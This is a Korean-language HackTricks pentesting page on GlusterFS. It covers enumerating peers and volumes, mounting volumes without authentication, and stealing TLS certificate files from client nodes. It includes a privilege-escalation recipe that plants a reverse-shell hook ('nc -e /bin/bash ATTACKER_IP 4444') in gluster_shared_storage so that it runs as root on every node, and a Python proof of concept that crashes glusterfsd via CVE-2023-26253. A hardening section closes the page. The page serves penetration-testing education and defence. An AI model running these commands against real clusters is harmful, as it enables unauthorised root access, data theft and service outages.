24007-24008-24009-49152 - Pentesting GlusterFS

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

GlusterFS๋Š” ์—ฌ๋Ÿฌ ์„œ๋ฒ„์˜ ์ €์žฅ์†Œ๋ฅผ ํ•˜๋‚˜์˜ ํ†ตํ•ฉ ๋„ค์ž„์ŠคํŽ˜์ด์Šค๋กœ ๊ฒฐํ•ฉํ•˜๋Š” ๋ถ„์‚ฐ ํŒŒ์ผ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๊ด€๋ฆฌ ๋ฐ๋ชฌ(glusterd)์€ ๊ธฐ๋ณธ์ ์œผ๋กœ 24007/TCP์—์„œ ์ˆ˜์‹  ๋Œ€๊ธฐํ•˜๋ฉฐ, 49152/TCP์—์„œ ์‹œ์ž‘ํ•˜๋Š” ๋ฐ์ดํ„ฐ ํ‰๋ฉด ๋ธŒ๋ฆญ์— ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค(๋ธŒ๋ฆญ๋‹น ํ•˜๋‚˜์˜ ํฌํŠธ, ์ฆ๊ฐ€ํ•˜๋Š” ๋ฐฉ์‹). 9.x ์ด์ „ ๋ฒ„์ „์€ ๋ธŒ๋ฆญ ์ „์†ก์„ ์œ„ํ•ด 24008โ€“24009/TCP๋ฅผ ์‚ฌ์šฉํ–ˆ์œผ๋ฏ€๋กœ, ๋ ˆ๊ฑฐ์‹œ ํด๋Ÿฌ์Šคํ„ฐ์—์„œ ์—ฌ์ „ํžˆ ์ด๋Ÿฌํ•œ ํฌํŠธ๋ฅผ ์ ‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

ํŒ: 24007์€ ์Šคํ† ๋ฆฌ์ง€ ์ „์šฉ ๋…ธ๋“œ๊ฐ€ ๋ณผ๋ฅจ์„ ๋‚ด๋ณด๋‚ด์ง€ ์•Š์„ ๋•Œ์—๋„ RPC ํ˜ธ์ถœ์— ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์ด ์„œ๋น„์Šค๋Š” ๋Œ€๊ทœ๋ชจ ์ธํ”„๋ผ ๋‚ด์—์„œ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ํ”ผ๋ฒ— ๋Œ€์ƒ์ž…๋‹ˆ๋‹ค.

์—ด๊ฑฐ

๊ณต๊ฒฉํ•˜๋Š” ๋ฐ•์Šค์— ํด๋ผ์ด์–ธํŠธ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์„ค์น˜ํ•˜์‹ญ์‹œ์˜ค:

sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. ํ”ผ์–ด ๊ฒ€์ƒ‰ ๋ฐ ์ƒํƒœ
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. ๋ณผ๋ฅจ ์ •์ฐฐ
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. ๊ถŒํ•œ ์—†์ด ๋งˆ์šดํŠธ
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

๋งˆ์šดํŠธ๊ฐ€ ์‹คํŒจํ•˜๋ฉด ํด๋ผ์ด์–ธํŠธ ์ธก์—์„œ /var/log/glusterfs/<vol_name>-<uid>.log๋ฅผ ํ™•์ธํ•˜์„ธ์š”. ์ผ๋ฐ˜์ ์ธ ๋ฌธ์ œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • TLS ๊ฐ•์ œ ์ ์šฉ (option transport.socket.ssl on)
  • ์ฃผ์†Œ ๊ธฐ๋ฐ˜ ์ ‘๊ทผ ์ œ์–ด (option auth.allow <cidr>)

์ธ์ฆ์„œ ๋ฌธ์ œ ํ•ด๊ฒฐ

๊ถŒํ•œ์ด ์žˆ๋Š” ํด๋ผ์ด์–ธํŠธ ๋…ธ๋“œ์—์„œ ๋‹ค์Œ ํŒŒ์ผ์„ ํ›”์ณ์„œ /etc/ssl/ (๋˜๋Š” ์˜ค๋ฅ˜ ๋กœ๊ทธ์— ํ‘œ์‹œ๋œ ๋””๋ ‰ํ† ๋ฆฌ)์— ๋ฐฐ์น˜ํ•˜์„ธ์š”:

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

์•Œ๋ ค์ง„ ์ทจ์•ฝ์  (2022-2025)

CVE์˜ํ–ฅ์„ ๋ฐ›๋Š” ๋ฒ„์ „์˜ํ–ฅ๋น„๊ณ 
CVE-2022-4834010.0โ€“10.4, 11.0๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ dht_setxattr_mds_cbk์—์„œ์˜ use-after-free์›๊ฒฉ DoS ๋ฐ ๊ฐ€๋Šฅํ•œ RCE. 10.4.1 / 11.1์—์„œ ์ˆ˜์ •๋จ.
CVE-2023-26253< 11.0FUSE ์•Œ๋ฆผ ํ•ธ๋“ค๋Ÿฌ์—์„œ์˜ ๊ฒฝ๊ณ„ ์ดˆ๊ณผ ์ฝ๊ธฐ์กฐ์ž‘๋œ FS ์ž‘์—…์„ ํ†ตํ•œ ์›๊ฒฉ ์ถฉ๋Œ; ๊ณต๊ฐœ PoC ์‚ฌ์šฉ ๊ฐ€๋Šฅ.
CVE-2023-3775< 10.5 / 11.1gluster_shared_storage๋ฅผ ๋งˆ์šดํŠธํ•  ๋•Œ ์ž˜๋ชป๋œ ๊ถŒํ•œ ๊ฒ€์ฆ์ธ์ฆ๋˜์ง€ ์•Š์€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๊ด€๋ฆฌ ๋ณผ๋ฅจ์„ ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•จ โ€“ ์•„๋ž˜์— ์„ค๋ช…๋œ priv-esc๋กœ ์ด์–ด์ง.

ํ•ญ์ƒ ๋ชจ๋“  ๋…ธ๋“œ์—์„œ gluster --version์„ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค; ๋ถ€๋ถ„ ์—…๊ทธ๋ ˆ์ด๋“œ ํ›„ ์ด์งˆ์ ์ธ ํด๋Ÿฌ์Šคํ„ฐ๊ฐ€ ์ผ๋ฐ˜์ ์ž…๋‹ˆ๋‹ค.

gluster_shared_storage ์•…์šฉ (๊ถŒํ•œ ์ƒ์Šน)

์ตœ๊ทผ ๋ฒ„์ „์—์„œ๋„ ๋งŽ์€ ๊ด€๋ฆฌ์ž๊ฐ€ ์ง€๋ฆฌ์  ๋ณต์ œ๋ฅผ ๋‹จ์ˆœํ™”ํ•˜๊ธฐ ์œ„ํ•ด ํŠน๋ณ„ํ•œ gluster_shared_storage ๋ณผ๋ฅจ์„ ์„ธ๊ณ„ ์ฝ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋‚จ๊ฒจ๋‘ก๋‹ˆ๋‹ค. ์ด ๋ณผ๋ฅจ์€ ๋ชจ๋“  ๋…ธ๋“œ์—์„œ root๋กœ ์‹คํ–‰๋˜๋Š” cronjob ํ…œํ”Œ๋ฆฟ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

hooks/1/๊ฐ€ ์—†์œผ๋ฉด /ss_bricks/๋ฅผ ์ฐพ์•„๋ณด์„ธ์š” โ€“ ์ •ํ™•ํ•œ ๊ฒฝ๋กœ๋Š” ์ฃผ์š” ๋ฒ„์ „์— ๋”ฐ๋ผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์„œ๋น„์Šค ๊ฑฐ๋ถ€ PoC (CVE-2023-26253)

#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

glusterfsd < 11.0์„ ์‹คํ–‰ํ•˜๋ฉด ์ถฉ๋Œํ•ฉ๋‹ˆ๋‹ค.


๊ฐ•ํ™” ๋ฐ ํƒ์ง€

  • ์—…๊ทธ๋ ˆ์ด๋“œ โ€“ ํ˜„์žฌ LTS๋Š” 11.1 (2025๋…„ 7์›”)์ž…๋‹ˆ๋‹ค. ์œ„์˜ ๋ชจ๋“  CVE๊ฐ€ ์ˆ˜์ •๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • ๋ชจ๋“  ๋ธŒ๋ฆญ์— ๋Œ€ํ•ด TLS๋ฅผ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • CIDR ๋ชฉ๋ก์œผ๋กœ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค:
gluster volume set <vol> auth.allow 10.0.0.0/24
  • ๊ด€๋ฆฌ ํฌํŠธ 24007์„ ํ”„๋ผ์ด๋น— VLAN์—์„œ๋งŒ ๋…ธ์ถœํ•˜๊ฑฐ๋‚˜ SSH ํ„ฐ๋„์„ ํ†ตํ•ด ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ๋กœ๊ทธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค: tail -f /var/log/glusterfs/glusterd.log ๋ฐ audit-log ๊ธฐ๋Šฅ์„ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค (volume set <vol> features.audit-log on).

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ